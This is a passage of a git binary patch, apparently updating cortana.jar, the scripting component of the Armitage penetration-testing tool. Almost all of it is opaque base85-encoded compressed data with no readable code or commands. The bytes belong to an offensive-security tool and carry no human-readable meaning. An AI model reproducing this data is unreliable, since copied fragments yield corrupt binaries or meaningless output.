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 diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar index 28f15b5fd16d3541cac346f5b39b64862fe80337..94bebc6eac43b16d820a1027fa953a2b29c78b68 100644 GIT binary patch delta 191450 zcmZU)19)Y@(l#2~wrv{|+nm_8Gr^AS9Zqc9&cwEDbCQWOxpQXD|KIz4cRy=CZ*^Dq zs;=r<-K)E6jph!3Mm7$BA}Y&)L%@N6z<_{sCUYes(x7%EbBQ)71`RlafPe)4`D3Kb z2s2{?6ejAC`dJVp=C+bPe~=?Yf}w$RG-uFrX_^J0CeoF<G~7NF;a{}hOjW%wHn(?b zPf0-YJqNIy=f=>N#w)iHG5?N0QD_^RP}s2tJno^^T;nP>b>fyv&|v9CJ70VX_D_D* z*K1o2RIMK#_h*L)A^v|GCK4GZn7Bg={-<R?cu>#37z)bx7n?zy{-Qn<VVaUTGb~UM z4DN4+0R&+hp(ryf{Qpt!Kec1P=>9L$;2S73a0^WOZ-yN>YnoCTC=}2T{9koDaKFEd zOK{=8$OQ3Eo&f~Y-*h|#>wohJfx8eWf9ZP&=KqtIR)+=-_5ZQ$e}rp5a{gt<LUR1Y z7fAB7ok9pm;3ecgnJ<uRe;EmXbO~UCgaj%>{bT4uvHX|8@E3cb$p7Nee-R#<=5HDv z8W*Spjr^B3hNk|D(a`@I+yzblH+>FG`WKO4?Ea!3jP_rgfx`q|!6^Qvg<${HafJOR zw*dB^+&S2P=3{{)1CqcY{w>P_$Nbl2{&>p&{o$pd$|7K=q1Yin1LNRe|9gKbU>_X9 zf9ZdULcsqsDiQ)on%@W_9MAy%pThsiAW>vS0H(nU{jJe~M3N>XzykZfOp1i?&y;P5 zB&e3IuFU_h&-};Wj<A@(XaxMfHz-H=r!EfSzkd72Lk2n_{%aBdk?U`{HpG9b0}x5l zzD%Ja{4aqla3pEBhAdDB|M#i+k05oVe|mHvQKzw}GD84skzoGYZ1%r+i$wVsaghIY zoDj0o-*f`<Kd+uf!A^^GU_b!wApf&g0x~ub3`Ow&XIb<#(mMvM|J5j0lz(k5LiyL_ z(<uMC>jUMVTm0u{!l-C}C90$TE8~w!{5PG4`p+E(QAz%jZahI<gaU8>qf-yg{ND^9 zE-Cn5qLtth6!A|HQJJ)^@hVUdkUQWH0*b~(qHa*6|77E2Ws*aKfq;lZ0PBg!8~aIc z!2Z_TBGU)^TYz&fMoAnT1Y{fPKLvoclyCq?bSV`7Wu*4!2InAF(xQ+RkT@|XxR9QZ zunsEFU@@>jlIIp)<~`N7=}r5r-_^3-D!S#w^v#g4bU$Xw)3-Vyf*Iv}Z?88m*=N}K z*)IUUKR=W}wCcW#;;DUWuSyGw6_GD>!ZFlsGdZBE`DHvT$z1bvfbVO2!0%fdZ)p$M z>_f&nX4o|2S;S~|Hs6y9bE}^#YmZZ|xe-LOMd-TpW}{gW#~DvBt{@BQs2uEIz%VVO zG<jb*T}$UP8r9?yS9@25Y1MP=cJd@eahDnCJ`cr@Q)17$9Is5|)|=6AMX+tZo@JJ; zQ`1DRL=dFxrNf1yuc5wiTwXEza*7A=X2aY;ZPq|-d*%0dJk@0h*mLvzh1)R-Vy*E} ztvZD)lf0)sO`(FKTS1aJuNF!T#Zqezlo#c~Rdf?Wy@*1ao{26%Egd9JDGqxuOJPFu z!y-K53Y{nN8QMW0Xy3JYkPbIvwiS%Zddi|%k|;NL)_|9Y%T?az2}6w|HRA=unWP`^ zI5<z51{yy!$~RZsWXLma9=8RvA%<C`@Lkq~`Ve3;=(Nq$hnUAfds!KW9-tB}Sh+FN zrj(ePM`_F{CrLW~gog?m?a0SfMeG$p0vBAKZ%;CGeBSmSN#gA;0ss1x*{~lL)$t`G z>$NLf#rzSp@v7L?n$5aa4$~bFyRGIxMpg;?eY3b3@$8g!^k}{N2x}z@t_(;uQeV@q zd=To)FtOWCy!dOhNy$de64A2cgO~LoG`Xdqyf8e8-d1~jtrjbGyHx4cln^(JKX>*B z{KZ8r%;twD*FXa{=9u~iuHwSZF3ATsRe0Eg6Ij!N@Aqt~RK;(no&<$}2c2FrTO`<n zv14k_zMp9x38P9^BpEwmGqs0GyAajgAyB`EajG|0zh+S|ejLy2+D$f#v_V{*+;2$R z9n2cyL{|&XzPY(zYqBl0hA%qSq0b)5h~<<JK4Wtk7!%aSjyj2BL|a`DWV5cjV=Nqp zf^V6FQBM-KB+6eG2&*1_?Zol=d54rZiT|+27`NMtm2nv;&y{N2=GEsP?Gd|A_|@L^ z5$VHgr+*X~$9pnee0orx#PJ(Tq+Bv&0_l$N>o|(qy7(^m{~7jRK>qU}4r<cc0Y_;# z0CNs#A{c_$H1wJF`Pv&5$@8h2dFz;_zH{j)s_2Ls=!iE1Z2gPo;g?L$`cxX|#P1-& z<6f3OZb<?aJdP)~TxYVnT~D5Jb9+GqMA*X_knFT+PK*v_5is$kcv_rH@@@8#6Jo>Z zD!3T4P`@}CKnEgh^hA*1qS6tf#;G$v0p{(eL~I2fQ>aafgU=gJ7;Z%&>HKAQ%B#s& zIz!}jpD0OpR04hZaetXTt33F|Veqe``)h@aSDpNbahBpSDAcoWNbI_uJnu#jK69dY z3mMQk(UA|O?-{Jg8Yl74g*}?z9aNB2ge}%!2>K9F5>@I^9iIK2^ua98cLTun0`$bG zv$Q4MDL)Yke3=qK%0y~W_MGi&4-WS-+v^XE9?{!&@0FmT*!D$5*!1kSJsS!MF81K3 zi=xaW%<s}ksoO&=e#(gaTso0eB5S8n>aZC88eO;bbKG=S)m|~w@YjP?6?iJiCBwtU zXMsF@brR{}@V7}&2he^4`wa2!XaL+(%MhXuygE%fnd?O9^Ok5%A*7^|w>_E1!8?B0 z9e8;ytYzj1gM4e6irFR3q}BnKhfz%*;pH^u_9SLhEdDIwd?W2WAwE3i21{9xJ)i8N zhb68nXYga)%s1;z1()kRp&8t1`n&04pQyXbvFVcD|KSLbqEabApui704uG*Enh1&? zcrtL}Yh86SUGb`_oQO{gtN$NQ2#OqA`o8$^=2BJntBu?f{x=h_B9izW^f%4HB_S-8 zJ<ZrvPj;90Tl(6|{nLsg2sIB=euO<fmJQ|VDy!VqF#4s=YU6BOof6G?qAcDBRu0-1 zr|t0kn9e|Hv<#H<oQM(GXh6Ojzw2y<JlGL@bwS<TIVXIVO8&eftk2ZOXgGF=C^w$8 z=$cyoI}72H`Mb;mcwCitB6AQtD!pqCH2g53@e|h3Ff2YT{7#n8__HfU{82#N!UNNg zeA|Ad$B}&4`c+YK&X4lUtSr=u32lfsf$zgTzNInw)%e%KY-hdzX23%*jmqAw`nd{+ zlT$!RFxoYr_E3H>);dzoUVA7xG?Rgox8s{`i0nBd%HFKtg`un=dW&PzMY*`#HDP{> zUP|45e9>oU<jT1#o&x$GSLm@`zKpEfTA$}~DwkzP<!GA!DvUin<34F_Eb5*C(%YjQ zSC|p${0ZCr`R-nL2cUq9t-t7)=#1fu4;*rQLn>2c{n$Mly=#qPlcJ9?__-#2srklV z_6xn;k@keBRwDh!>Ik0ch*3^~yIr6BgrD6srT~U&XzViPDV+ECqv#v7CYDai-Yn>H zdB(ZD1+S}MFp*I-=Dk<?u|U7+Hhh-WQRfd{-r=>{bo);bWz_$^t^6AwTA4q@fI^IX z04y4<no<%QiDJf<vM=;n8|T=uu%w)G%7*h{Hxu>!%ck+0jElYIs+@Ph!hOW%S>5D& zV)$)lmKK(|eijZECpW!201$#*2_!5o`zjOqa8C6YFSEgxSVDD1ftK6BezmYFqVclV zP0?6TglYa_@zqCfjL3-m`Mo`98zB@2fUQN-u&LoUy@@XxhCO6KE2=UdVaBB`2zobc zX6qt`EQkE6k;p(5r4Y-m6JY5otiZLWH_ep)@nrfXPD>h#7BX$3z|-V45T+MmPx=A3 z#U|TT=!mIzwk92}cuNz3m&+qdK~^4jJX#sy(V7KT@J{o4i0sOs<M#`UPi=310E!GJ z59&9Z2g1cUC!>RsU;z)p%e{<XDn018ydYv8o<Y<lueDxQjC}~d8mQ}$?e<%af#GIe zPqQLO&IDsuR{DV`Zj5a$Faz3o8J5VwF3Gd+iDUe0)bITU%H1w%*ILbsGHNFox#tNs zVj%QTw?rE3LcfnCvEBB29H9%H0eMLkY1k6^CE`)>W3Cof=gpPI$HJVJ)t)N(?b^kj zIpFjd@{U$|s!cy>5}vTWN;Pp4b=JRuSKYyv->{ZQv%#}d__QgsnA(}N1$VLl8{>S~ z!)ByM5T5YUjMAj3>40S^xuest_TXj;$?5pO8ft9IqG7tZ0-{|J-xJbt+9Gz2QT#R$ z%|u^YX(4)*PtgA{e26wX4+O9Nd7(3e1WwaX0{fW>0oO2Id-G(gLF5SRLOCTPXwpE% zB(Trnon3^WLUy6oT}Ky!ry_|(50Z?mtwu}cowcpYctgV;(DZ&q_;uC-vamUtVT_o{ z2%{!QPnLYLP-+)`T#4`^HM$bkLK7@kmC1<%NJu4220CpMt4CycX4Z0}3{Zsi5_@>h zsr?*kfB=->#8%STeSviKVtR_p8XMwuW?XhU5Ghq*;~|$Ffyz;pXxlQPiWl<7Y!0V= zy*}+xXy?d1mdyUwk=<n>PlfhcSaLMNfj-0>basfMY<!m|$+jE9Rth+TkFiTq;bU6= z{nEkux{pQKyrfj$04j<&+;24tNjQV$%y*DF0Ib&Na{V37E3)k7>(@=5@jI6Qtsm@A z?knYOVWa7208j8X^m*hT3L9ZZUWe4w@8G3*d%Ol#5eGG4OkHMHKJ<15XdN^69XAYY zZXd`-%_cgKdp6oXDuOr>FQjcpjl>4%i(q5J6l7XCx+GIct1ddi2wKYPxG9rKJun@p z0RS3=aS_J>adU+k>_tulzZIX45zAk22nxf2EODbPHQKzT`;nD8p+FaV-eb-FeQ#q{ zHwdg!+M5u8;+6(gS&7IMIo#xe+ovE=4~lU7l!lD7iT;urT%~2=72QP_r7)G9_Aa>) zt8&dUVGxgT5nUJEmTu48EW7ois9pybzyv8Uw6{>>zDu3iIzs!7sdjM<=BJPw9vbUw zxnuB<NkgNRN66`gD7VZFDz}&qt%{VSaA2$+$ph<byOJ&Yp?LZ*_&(>Dm;~}S(h+gu zS6d<>5_#r2RAhj};TGg~$?3l7Szn|hf;lgE#uMck=L`0x%~j9S=KJrD>FPG!hUzxJ zy#bMDo>->3uL$+L2#wxmtD+zhwPBSaiCJ;s5Ed}t4@hXw5Hf{E!ig%<c*BLevhj%& zc=@QjG1Gm3i0AVK1Iph2<>&5`1Tq5<e>OVc{;o?l*suVQs_S@x>nM5o0UGf33Jc8Z zx1=I))%M+XHDjU;_>J)Dm70F{KX8eCorj-<nwW(^*x3%AFMAJT4tO(Xkzw<x8lSR! zW<~^0JZIXUY61SA;C(bbwvx;acL~SF-@|c<EZiTA6-T7fR}$vtLU<A36`r-j<0KGU z-J6UesV4vmZH0R^aa;_Xd+3NyZf-0-h6CV)`c+FIO5O>VjuOFR923F&M>FXYXHB*S z!NtZJAYjAE_LVLbB>GzIV2t<;vyOa2Nv8B0=%>=P<A@mvnFeIdt$d`jlQua=n8{y! zB#KF{^vDiU82P2(zSojyL3H@t4TN;cBn?ja8NdNtBrqSjzSX22YpB9{drw>uqw-{= z9u*voWyw-h$~UOfX_q`Oj95&`Otf@GgE>_7*i^?nmO3dfHun=~W55(;F$B(iZ?WTS zG|*Eyf^1g}9APy#R!L>d(ZUALO8wI0Q1o#^Q=ONgb&PjJ?1S36o+pjAFx^pE!=?+H zS9S^b<>xfRTl{ODLuNE30ZhL(>MPq(Ihov9RfvqCW}b*W%){bZ0vzRmjH|s)Y6UK? zL~04mBWKE1=5z{X3Z{bY`&kzq&DqSam_`GxCC+GtPTNEOuqP^>+I5Q`&a}(cM@QLJ zVVvNQ7>HRS{eApA_9S7T;LZqmIQ?~jsH=DY0&q%SrrEFf2!Vy1#wa{&x~d+F4TTh= ze3_Ru@+az_>8~>lIktV^?G6emgLFD|%j(H|eS(|5$uVp$ViNj|RmoS!gf~uwtfI~a zYYk-u@SB$5XYu%}Ae0X%ErHCplp4psC0TA^3~`^ohdbV`_O(`h5N(%&Ro&#C7i+cy zC>k3MX@hRP1YJ9riAL>~XAb-?0bB=ix>O2}sV#a+bH$p4mF+5crUH^k3=VW)6Tjrl z^X-mY2m~@V^GzyH*D&7BD**?}#EqKx=Fc_(VBK#Wufnv?puqe->C1p+LY}%}M7GJY zBnG*e{HgD*<CPDD`mObWX-OISUp1%zp6&tasqem}bU<@5_4rH(?W*M=-Xrk5jJT^B zY|Mg(j)yrQHbQtiFKEGHu23=7FIx9<rSjmfz#i1B;xwz|woI!p5mp>RZIGzM>!M=5 zUhuJZ(nj!sUKDMiM!wMbJJO|~rW|2?Guqt4k=*H}INL+Kw;Ph~x_9&xV6#?$tF>LO zCc|4ZY=sGatDNo7p3UEqULMfHlebJdsbepR_D!!BdrncyGtgv#`c3skeo8+rcm|S; zDB7ZtQVF(zZeb^1(V{{;=7y3Sk`NFb$z6PC(5ey=lv<qaXwYuI!d09o5m37X^#C`# zqNS5v?H*jaB0a|Ua5(0IHJ!l#g8LMT(f%>fYSK|6lM$qwn1!R!tQ`SVx6<<aKF*-R z5z)^odi^tGk<|NaIZ^aNirg^Kn(tA_PC3e#Ka|q@D6Tl;6!b`#0&q76B=&<w$wTD^ z@5%)#$tE_#rO{f_KF~1$2eb;RK2AVu@Q*X6{p8UNW+b^24QE0T=K*AmqQ-(>oAzbr zn!Dq+uN@LS^Wo1Ouitwt##Z$74P)DmH}t4sL|7E&=Ca6`6iFTmeqL0}$I;nW&Zok? zVE@lqT%XXGx8Tn#P7nEablc%Z2M`wN9a3@E+k9n;rYQ(Qv70rD`mP>H1;u6;-mrSj z)hRcJ?H{4kb!P`=<$DYLTo_}SiWbx4cbeg<*vosupSHFG@c#|Q5?oA?)K)!6NO_IN zlEBIWwa~{HL(gh#gr>&FK)Aqn&Dx|XL2K`G6m=rYZFV|-6;)9;=x=2{1L(d-kb#8H zuA{)^n<k;$!>aZ@<#$K~Vcd&DFDk_ibLnU1&!>^KZ7*TaqN5za%0Fm_Yu{~CY#Y5L zTOiPhA3It!y+F`erbnr7$vPO<@;PEW>&4WyR2S4uUJkvX={#P<(12pO)mTaKZ=neK zl4My#oBKeJ=!o7jzatIU0NhVB^s!{M@6uKd&gsOF(96cJ4w<DG=ix>TCm@G@SSzU8 z5X5%1o^1SVFO1pdvnx^O*>Bumr)18PtQvC~p+8OEYm0{_plxz>YI4yN!<T}#a2GgC zA0Uq#@#<%dha^<u#bT9Hvo+uqJ1@AaZS^QtsASV_EyzL-N$QZL1aL=><vB))29BGr zj_MKF9=_N?zL{w=e;Niz%HUs02^5+E4q#{LFwEPIF|+KYUPatYQ(AiVH6mQa8>rPB zi8b`DCmOU;PWn<h`k*kmzGedWay~_mQmlbdT#~2e_)VQ!s7l3)0ib-=!*eofrAi_( z{)DF#>e$xNX0~n~fQ$obqvJtXljB3!{bNt79kK`aBt~T=vUrF2_W3gh<k$S|F+_w# z6Tf0<x^Euu7?Fb_`zTk(tdN3|ml%vvEGdTkvq*F0@8|J6?GNNd)6Vj1!cG#!aZ=^s zd1|SiEUSFq)_h_bkkgHc>j$}RW9%i9J7(sWX=v>euIKK_83hBq9EnSf$W=JGS!GKl z4LdnrrPa1%CDU&Im+!LZlI;L9`2+xva5fS{KaH1E6NZpupiD(!DAN1o5GjPL!nW!O zH?J4Btm%b^a*fIS1#$d-N#WiwgyIFh*16tnZu0(_h;M$seq8Yf_;~R|fKH~HE)SD9 zXwx8&24`|P?6t&_9Wx{|OtK@idMV$kcjt?u+Jr?P`EBnrIof(&@pSah*4hHtm>5_O zCj=_wrYigOuXrkBB}oKpis2NF(Q#!zl8xI}`F~Z3y7D7ra2~;j%{3qlc{KJ=7o7Mq z=Z$)O^%hv&OXPS`WHF6k4fwH!Ack5EDG&!KQR1V?EI?L4PTfJzxrBsk5v{LUAaTdk z{A-!DH`$6+{)0LZPj_z9r*Q~?Pgvj~!AY)UC+(WS6FgraLa}v`k6or6w#1lkJKkEi zyNiTH$b;iyWIFl-MlY<sMo4KQbrBjVbyuhDVisz%^|tRvgUsZU14JaR(nQ4!zK%Eo zu$u&@N^A2;hI(K^5gMFGb1N!NdU!5xr`<V|>ALZ{?$bU$F~7edra2EFQj-P6wxxtU z#fufGeQIBPbb*d`Q2G?P%!}rjNw$nXZabX0SA*cUq^NAbV)j|#^hM)>W3wXM`qdul zj9b>cv1AM6>v?zNEO(HKP78x~{8<hazs`4I2zo{WGL6@mhj0q#m}&p?q0IrFm$<vL zGsr`umS1dCd@NB_pgD|se&XlUY&Wn8UBsil62!rG!ufzFc!uCC#RS(=aui}N^wD~} zpYkSQSJWvkQdZfr!<|8u>IXVMzaO2Z%hMQ0<=8=~6+NSQb5SBvDBVK;j}fwwS@09| z??!tWjio*fItU0GJqQRHaE^vJ?TbD$6rlSnte5)IFJbD8Lj@{i7*f#TI*O_R3KWs$ z067?vA0VkDIL-TVKc%6l*bgT0v9vbnqn2(Ar_3OtWVw!CjTQsYExHl@Q*N2KV ztt;JMKBxVd9jSmav;O{{hZBBJ+n(3Fy*|r6hD2}AJ<t(Wng#}_`a_}fRuY#-WPn&d zp`T9mY3|-gi56w?;m(oq;jZNz<Xw7H3r7t$Me)-oD)abPg@l)B+r~mQyR7puzwUU5 zZU*#<hc$%ohS1F{3MS>}y&B@_yn+}q_6sMxZ1(1u6JHZmzI?ZyhX~bZ=HQ%{Pg`Q= zsQIN5fV|>W5+5WWw@r|LXBT_o<qfEbx40F^&t#qgLsdB`g#WXqVBRM$=9N7tjJ6^o zCRgZIW_-+FAsL_)?NBdEwf3!wk2^jRou%o<#3Mc_gknk+0j6n<yQXkd`f+5B*!XtE zYu;j;S;TTo%~vfwLlD;<{F=`?EnM0po04G@SQ{z5#g2Ya-`+i1@U?TQOap9mZ8GUM zrgOW5r`05WxZ4o?{7FS@zk7t|_^49ZXLVG^p)g-H-&UE<$5Y_EIKfIB3h_;vM%1?> z{vazM=jf<NpcQ7NdfpC*=&<sPKuq}}@9mj7Z24w|pGzL>%DKH)$o?V#>f6JCJ=zk* z*`quecOtP5<7L3mF>sGYtPfx~twE#olga7xC{K4S<w$#ZcG;$!!u)wH8{0d{(IkWg zAHI%2j}cqNsgv<AEIk;*9TF?vFVBJs9AVR$yXUrNYr)yDLDv;aj9bSfap2sD=O#NA zEeV21*Oo7Qo9CFYW0pz7l?j>}?V+G&?Ocrr{vy{jq`+Pvos_?B;R9I2ZPvs?EgZl= zo3U`^-%cBSJD9wR7EAPCkr~}zHlx{e7>2aa<!~^Tv4<|h@Oev7#;s59#>JPgpN9*z z%@j?XvhY!(F%B$ZFxL4H54I)YF0sA{s32W;U_%5acGYO8T#6CnHl9r8lGup3<s&Cb zs%Jl|=Mw{AsTqs#3<WT-lvjK5;iiJ1T$|7#NuZ^oB26%*pM!H*nO17pI<S&!UX5F^ z88f9^i@s^B1}J7$^E5TEn1)ZK&b53so?>rh(Lm@ArzMufy8OTa>qNZ)dEEQZW=B-X zPLZ5kvp{`Fk6G)BhkI!D7Hgu%iuHwB3}q!p`sx2W#R5VqtPg--%N`4ha0=TG)E%<j z6&V@xpoVn$Qr~UYj%tm}A04%!;AKri#f29AREz>`>)86_tDV=I%dKOPcEze6Ww8iC zk+5K_)14ov4_$(Y!O?^0+(_Rsq@J(KnwKMCrJ{R-@)4u)lG+riyt8g4A2x4;|7}EP zaMNNf1hhCvdlRsU7Bo=SE^4Rk{@sPvNx8CgtF}ksffm$Cl0X7mn^bPostmE|iE!ar zjKPBM*S*+$Zlcjbl@*6wXkKQ%{hn2SvV?3JO(;x=)nrVY8V)s?B!lUs^5=s{FhF%D znW3E|WH1>O_cp1`SmFSlvj=WC1hG!snK??rwEIH^_XSW;OP@!@`>vPG5RI>&R5IaG z9hh6L&l6LMShPn_04J)yntjOs=df~-Nzq}`YIy2V5_gP<KV7mYGA<Usep*=<OjkhU zpf-<bEoU~`*m`;jF^qnp-=jvYd`Ofpet^mpsxSmBS&U96wsu%V(xhnR1-@Uh68E}v zfhr@VY8HSMt9@q$0Hci+RnB{lDDS$t7?PP#ZO#L+9^Zr_<h1ccM55q{*sTM-jTTKz zaL0f#>4&AsEFAO7Y-gaTXXgudoI(NR+xo(N?gqbAai`_pliCYqIkubyq<5b#q|Ts{ z9xr!`vOCfwSHTTT-A_>rWZS5ubN|g}SbG1<HyAL?eeR3CQ+3D4=NH~nxzOE&&Dpfp z#NbpTKTOxjwz^ba+<NYYzEyQ^@7AlhGWUybXL@J$tkSJ|cxUki>6^p}|Cvmz=fyi? zk6dZ)JZRfeULXhh>B|NmAUtsIPHbUj{>=8lJ-e5>zh_2x);pfVa{<WrnQ$}rVqpE~ zA`2)Det6GsBP5;gM3&&xEqgrc%Dow=r|`@X<;7j)RZ-L_oTD>dC|uBeXi;Pa7v7R= zz3>(Ogy9uEfzD(7%_=<l=L||UUNK&^RdHsPDBGZLMPg8lPf%_q(wPXWu#Z#r?F5xH zgci^rfBLQ#wmzZ%99`&~-Zi#Lq@cqmJPr^J#^yG{-nVYOpK<q>_d=>^;O+m!<`bS) zI(?_8`q6t>it;1a90ww9S}FP^Cy^>Xcj<-K-{1uMS!<M;?^DP3f}8I%6%hVqVC&3= z2fR0;fxF$kp=sDG8!&@x`wpG`Im!&XnbzpJV|EhwK0ZEvsYSQ!?k|ymq~xdsCk7Z@ zuer~Co{<jV-6ytETzt{+mpxc<^UwY)xHo)ptb0`@2gUrY&+!4(TYj&Lu+S^6L@ev) zYX0^)`$G8pBwzXj_N<eycLW+)g3nO;v-rOEMVPO5#*=jIh_5lv>QS(Z-)&9Gc@XS0 zbucy#>E!lulPlp;lN8p|0y^4f1qDDreEM#vvKr0@7$m-Ummxayo}}d&Gs<+bTW%fg z*ZZhIyCzwCY4Ehq4O&cd;E%)PSvtwQ^Kz`IMU=3OA8~<~mluok4{a+<PxK%_b5UQj z{wSGG!>`4>l2FAuRcf2Pt6_*NQ)I;rt$+Echo(X<h3FJF-QU*X4qUT9i~`J&LpxZ3 zgaT>P-+YtaK-g>oCa5tih!OGv7$tcY9kfe;Og`nA#e$$zh+j$D=TpPc=$x5gDNVwb zmfKs<qpY+}Hh}3^5Kz4th#rH(e)e*1jcX7HcMmUe)+P#UXsA+}ZUdJC?qQk9CKj-4 